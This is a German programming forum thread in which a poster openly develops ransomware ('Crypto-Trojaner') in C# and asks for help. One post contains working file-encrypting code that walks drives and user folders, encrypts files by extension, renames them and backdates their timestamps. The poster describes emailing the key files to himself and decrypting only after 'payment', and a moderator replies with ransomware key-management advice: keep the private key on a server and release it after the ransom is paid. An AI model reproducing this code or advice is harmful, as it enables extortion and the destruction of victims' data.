Visual Studio 2017 WinForms - AES/RSA Datei-Verschlüsselung

Welche Art von Programmen programmiert ihr?

  • Hilfsprogramme

    Abstimmungen: 0 0,0%
  • Spaßprogramme

    Abstimmungen: 0 0,0%
  • Malware ( Testzwecke, ... )

    Abstimmungen: 0 0,0%

  • Anzahl der Umfrageteilnehmer
    0
#1
Hallo Community.

Ich habe wieder mal ein Problem. Und zwar:

Ich programmiere das ein oder andere Mal gewisse Viren, Trojaner, und so weiter, da mich das interessiert sowie das programmieren normaler Applikationen ( keine Sorge, die bleiben wie immer auf meinem PC und wandern höchstens rüber zu VM Ware ). Ich mach das aus Spaß, Freude, Neugier und zum Hobby.

Also wie gesagt: Ich habe keine bösen Absichten.

Aber nun zum Problem:


Ich habe einen älteren Trojaner von mir den ich immer und immer wieder weiterentwickelte, und da die Basis schon etwas älter war und ich sowieso nicht mehr so zufrieden mit dem Programm war, was das technische mit der Verschlüsselung angeht, habe ich angefangen diesen nochmal ganz von neu zu programmieren, denn ich glaube, dass das ändern der alten Verschlüsselung mehr aufwendig wäre anstatt diese nochmal neu zu machen, da die Klassen und Methoden, strings usw. sonst auch alle umgeändert werden müssten bzw angepasst werden müssten.

Also kurz gesagt wären meine Fragen folgende:

Wie programmiere ich eine sichere AES/RSA Dateiverschlüsselungsfunktion?

Wie erstelle ich einen Timer der von 60:00 bis 0 sich 5 mal wiederholt?

Wie kann ich alle Ordner und Unterverzeichnisse inklusive Dateien als 'filePath' setzen?

------------------------------

Ich hatte schon einmal eine neue Verschlüsselungsmethode eingebaut, die aber aufgrund von fehlenden Rechten trotz Admin-manifest versagte, da diese keinen Zugriff auf die Dateien hatte.

Und falls wer fragt wieso:

Wie gesagt ich mach das gerne als Hobby und lerne so auch immer etwas neues. Momentan übe ich es indem ich einen Crypto-Trojaner erstelle ( wie oben beschrieben für Testzwecke etc ). Leider bin ich nun in C# denke ich, nicht so lange damit beschäftigt, aber schon eine Weile.

Und ich mache nicht nur Trojaner und Viren. Ganz selten sogar. Liebend gerne mache ich Programme wie Musik Player, ( noch ) einfache Web-Browser, und ähnliche Dinge.

Also wie alles schon beschrieben, brauche ich Hilfe in einer legitiemen Angelegenheit.

Vilen Dank im Vorhinein, und danke für das lesen des Textes.
 

ComFreek

Mod | @comfreek
Moderator
#3
Wie programmiere ich eine sichere AES/RSA Dateiverschlüsselungsfunktion?
Am besten bedient man sich einer Bibliotheksfunktion. Bei allen anderen Ansätzen läuft man sehr schnell Gefahr etwas zu übersehen. Aus Spaßgründen kannst du freilich einen Verschlüsselungsalgo selbst implementieren, ich mir nur nicht ganz sicher, ob dich das bei deinen Zielen viel weiterbringt. Verstehe mich nicht falsch; dein Beitrag klingt nur nicht gerade danach, als dass du das Aneigenen der Mathematik dahinter zu deinen (aktuellen) Zielen gehört ;)

Wie erstelle ich einen Timer der von 60:00 bis 0 sich 5 mal wiederholt?
Erstelle einen Timer, der von 60:00 nach 0 geht und bei Erreichen der 0 prüfst du, ob die aktuelle Anzahl der Durchläufe noch < 5 ist und startest ihn ggf. neu. Wenn du ihn grafisch runterzählen lassen möchtest, ist wohl System.Windows.Forms.Timer deine Anlaufstelle. Laut dieser Antwort gibt es aber auch noch eine allgemeinere System.Threading.Timer Klasse. Da müsstest du mal im Internet schauen; da gibt's bestimmt Code fürs Runterzählenlassen.

Wie kann ich alle Ordner und Unterverzeichnisse inklusive Dateien als 'filePath' setzen?
Kannst du das bitte genauer erläutern? Welches 'filePath' hast du konkret im Kopf? :)

Ui, ein bisschen Diversität am Webbrowsermarkt (und der Renderingengines) kann definitiv nicht schaden :rolleyes:
 
#4
Am besten bedient man sich einer Bibliotheksfunktion. Bei allen anderen Ansätzen läuft man sehr schnell Gefahr etwas zu übersehen. Aus Spaßgründen kannst du freilich einen Verschlüsselungsalgo selbst implementieren, ich mir nur nicht ganz sicher, ob dich das bei deinen Zielen viel weiterbringt. Verstehe ich mich nicht falsch, dein Beitrag klingt nur nicht gerade danach, als dass du dir die mathematischen Hintergründe von AES gleich alle aneignen wolltest :)
Wie sollte das ungefähr mit den Bibliotheken funktionieren? Damit meinst du .dll's oder? Mit denen hatte ich bisher leider nicht wirklich was am Hut.
Wegen der Verschlüsselung:

Ich hatte mal eine xor Verschlüsselung versucht die vielleicht funktioniert hätte, aber beim Testen kam immer die Meldung das der Zugriff auf die Dateien ( trotz manifest 'requireAdmin' ) verweigert wurde.
Hier der Code:
Code:
// Own encryption
        static byte[] passBytes = null;
        static Random random = new Random();
        static string extension = "." + random.Next().ToString("x");
        static string filesToEncrypt = Properties.Resources.ExtensionsToEncrypt;

        static void Mainx()
        {
            List<string> pathsToEncrypt = new List<string>();
            DriveInfo[] drives = DriveInfo.GetDrives();
            foreach(DriveInfo driveInfo in drives)
            {
                if (driveInfo.DriveType == DriveType.Network || driveInfo.DriveType == DriveType.Removable)
                    pathsToEncrypt.Add(driveInfo.RootDirectory.FullName);
            }
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Favorites));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.History));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyComputer));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Personal));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Programs));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Recent));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.SendTo));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.System));
            pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Templates));
            pathsToEncrypt.Add(Path.GetTempPath());

            foreach(string currentPath in pathsToEncrypt)
            {
                parseAndEncrypt(currentPath);
            }
        }

        static byte[] xor(byte[] bytes,byte[] pass)
        {
            if (bytes == null || pass == null)
                return null;
            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] ^= pass[i % pass.Length];
            }
            return bytes;
        }

        static string encodedStr(string str)
        {
            if (str == null)
                return null;
            return Uri.EscapeDataString(str);
        }

        static void parseAndEncrypt(string beginning)
        {
            string[] files = Directory.GetFiles(beginning);
            foreach (string currentFile in files)
            {
                FileInfo currentFileInfo = new FileInfo(currentFile);
                if (filesToEncrypt.Contains(currentFileInfo.Extension))
                {
                    try
                    {
                        byte[] newBytes = xor(File.ReadAllBytes(currentFile), passBytes);
                        File.WriteAllBytes(currentFile, newBytes);
                        File.Move(currentFile, currentFile.Replace(Path.GetFileName(currentFile), "") + encodedStr(Path.GetFileNameWithoutExtension(currentFile)) + extension);

                        currentFileInfo.LastWriteTime = DateTime.Now.AddDays(random.Next(-60, -10));
                        currentFileInfo.LastAccessTime = DateTime.Now.AddDays(random.Next(-30, -3));
                    }
                    catch { }
                }
            }
            string[] subDirs = Directory.GetDirectories(beginning);
            foreach(string currentPath in subDirs)
            {
                parseAndEncrypt(currentPath);
            }
        }
Das war die xor Verschlüsselung, und wie man sieht gibt es den Code-Block mit dem 'pathsToEncrypt, welche alle Pfade angeben sollte und diese dann nach Dateien durchsucht und dann Verschlüsseln sollte, weshalb ich mit dieser Verschlüsselung auch nicht ganz so zufrieden war, weshalb ich mich für AES/RSA entschieden habe, da ich diese schon kannte und ich mir darüber einiges durchgelesen hatte.

Ich habe eine Third-Party-App von https://www.aescrypt.com/ mit dem Namen 'aescrypt.exe'. Dafür gibt es ein kleines UI mit dem man Dateien mit Passwörtern Verschlüsseln kann, und davon gibt es auch die Variante die man in der Konsole ( command-line supported ) verwenden kann. Ich verwende aescrypt.exe für so einiges, und weiß wie man es mittlerweile benutzt :D, und gestern hatte ich die Idee mit der cmd zb tree /a zu machen und das Ergebniss in eine Datei zu schreiben, falls die Pfade in die Datei geschrieben werden ( oder irgendwie anders ), und diese dann mit der command-line Version von aescrypt zu verschlüsseln.

Ich habe mir eine komplizierte Art und weise ausgedacht was die Verschlüsselung bzw die Vorbereitung angeht bevor der Trojaner sich entpuppt sowie auch den Schutz der Key-Datei mit dem man alles wieder nach der 'Bezahlung' entschlüsseln kann. Der Schlüssel geniert sich durch ein Batch script, wird in einen extrem langen, zufällig generierten Namen umbenannt, und dann von aescrypt.exe mit einem sehr langen, auch zufällig generierten Schlüssel erstellt und einen zweiten Schlüssel verschlüsselt. Das bedeutet, der Hauptschlüssel mit dem man dann alles entschlüsseln kann, wird mit einem andern sehr langen Schlüssel verschlüsselt.

Da sich die Dateien generieren werden sie zuerst in .dat Dateien abgespeichert, dann mit aescrypt verschlüsselt, weshalb sie dann die Endung '.dat.aes' haben, und werden dannach zu '.VITCOM' unbenannt. Was ich gut finde ist, dass aescrypt.exe Dateien nicht entschlüsselt, solange sie nicht die ursprüngliche Dateiendung haben ( .dat.aes ). Die .dat Dateien werden an meine Email gesendet und dannach werden alle Arbeits-Dateien gelöscht, außer die .VITCOM Dateien.

Mittlerweile hab ich die Basis meines Crypto-Trojaners aufgebaut und ist schon so gut wie einsatzbereit, nur kleine Dinge müssen gefixt werden sowie die Verschlüsselung. Und da hätte ich wieder eine Frage, aber dazu später.

Erstelle einen Timer, der von 60:00 nach 0 geht und bei Erreichen der 0 prüfst du, ob die aktuelle Anzahl der Durchläufe noch < 5 ist und startest ihn ggf. neu. Wenn du ihn grafisch runterzählen lassen möchtest, ist wohl System.Windows.Forms.Timer deine Anlaufstelle. Laut dieser Antwort gibt es aber auch noch eine allgemeinere System.Threading.Timer Klasse. Da müsstest du mal im Internet schauen; da gibt's bestimmt Code fürs Runterzählenlassen ;)
Ich hab auch zur Zeit einen neuen Code geschrieben der theoretisch ( wie immer ) funktionieren dürfte, aber ich habe es leider noch nicht getestet. Statement folgt ;D
Kannst du das bitte genauer erläutern? Welches 'filePath' hast du konkret im Kopf? :)
Wie schon kurz gesagt mit dem 'pathToEncrypt': Dort werden die Pfade alle einer Variable hinzugefügt, und dann verwendet wenn die Dateien verschlüsselt werden sollen. Ich denke es ist verständlich wenn man es sich anssieht.

Ui, ein bisschen Diversität am Webbrowsermarkt (und der Renderingengines) kann definitiv nicht schaden
Jaa :D... Mir fallen oft so viele Dinge ein die machen könnte und will, aber ich bin immer so ein Mensch der das angefange fertig machen will bevor er etwas neues beginnt, naja so bin ich zumindest beim programmieren. Aber das passt zu meiner Frage :D

Und zwar:

Ich hab ein Problem mit der WebBrowser Funktion bei meiner Form. Ich will das beim Laden des Forms der WebBrowser auf eine gewisse Website geht ( https://hack.chat/?ji6cgm60 ), was alles klappt mit dem Form_Load und webbrowser1.Navigate("https://hack.chat/?ji6cgm60"); , aber anfangs bekam ich eine Fehlermeldung das Scripts nicht ausgeführt werden, weshalb man die Seite nicht wirklich verwenden konnte. Mit einem Registry Key konnte ich das lösen, und eine Zeit lang lief es gut, aber letzt kommt immer eine Meldung wie "The Navigation was canceled". Jetzt komme ich gar nicht mehr auf die Website TwT... Und die Form wirkt etwas verbuggt, da der Button und Label doppelt ineinandergeschoben erscheinen, obwohls es nur einen Button und Label gibt, aber das is nich so wichtig.

Ich frage mich nur warum der WebBrowser oftmals diese Probleme macht :/

Liebe Grüße,
Marcel
 
#5
Ich verwende aescrypt.exe für so einiges, und weiß wie man es mittlerweile benutzt :D, und gestern hatte ich die Idee mit der cmd zb tree /a zu machen und das Ergebniss in eine Datei zu schreiben, falls die Pfade in die Datei geschrieben werden ( oder irgendwie anders ), und diese dann mit der command-line Version von aescrypt zu verschlüsseln.
Ja das klappt in der cmd mit 'dir /s /b'. Damit werden Dateinamen mit Pfad gelistet.
 

ComFreek

Mod | @comfreek
Moderator
#6
Wie sollte das ungefähr mit den Bibliotheken funktionieren? Damit meinst du .dll's oder?
DLLs sind dynamisch-gebundene (= zur Laufzeit gebundene) Bibliotheken. Es gibt aber auch statische. Bestimmt hat .NET aber auch ein paar Verschlüsselungsalgorithmen in der Core Library. Such doch einfach mal Internet danach ;)

Ich habe mir eine komplizierte Art und weise ausgedacht was die Verschlüsselung bzw die Vorbereitung angeht bevor der Trojaner sich entpuppt sowie auch den Schutz der Key-Datei mit dem man alles wieder nach der 'Bezahlung' entschlüsseln kann. Der Schlüssel geniert sich durch ein Batch script, wird in einen extrem langen, zufällig generierten Namen umbenannt, und dann von aescrypt.exe mit einem sehr langen, auch zufällig generierten Schlüssel erstellt und einen zweiten Schlüssel verschlüsselt. Das bedeutet, der Hauptschlüssel mit dem man dann alles entschlüsseln kann, wird mit einem andern sehr langen Schlüssel verschlüsselt.
Beachte, dass das nur Security through obscurity ist und nicht wirklich sicher. Idealerweise generierst du weder noch speicherst du den Entschlüsselungskey am infizierten Rechner, sondern behälst diesen bei deinem Server und überträgst ihn nur nach Geldübergabe.
Dafür könnte man z. B. asymmetrische Verfahren einsetzen, wobei der Public Key einmalig vom Client beim Server angefragt wird, mit dem dann alle Dateien verschlüsselt werden. Nur mit dem Private Key, die erst einmal nur der Server hat, lassen sich diese auch wieder entschlüsseln.

Ich frage mich nur warum der WebBrowser oftmals diese Probleme macht :/
Am besten eröffnest du dazu einen neuen Thread, wenn du das Problem immer noch hast.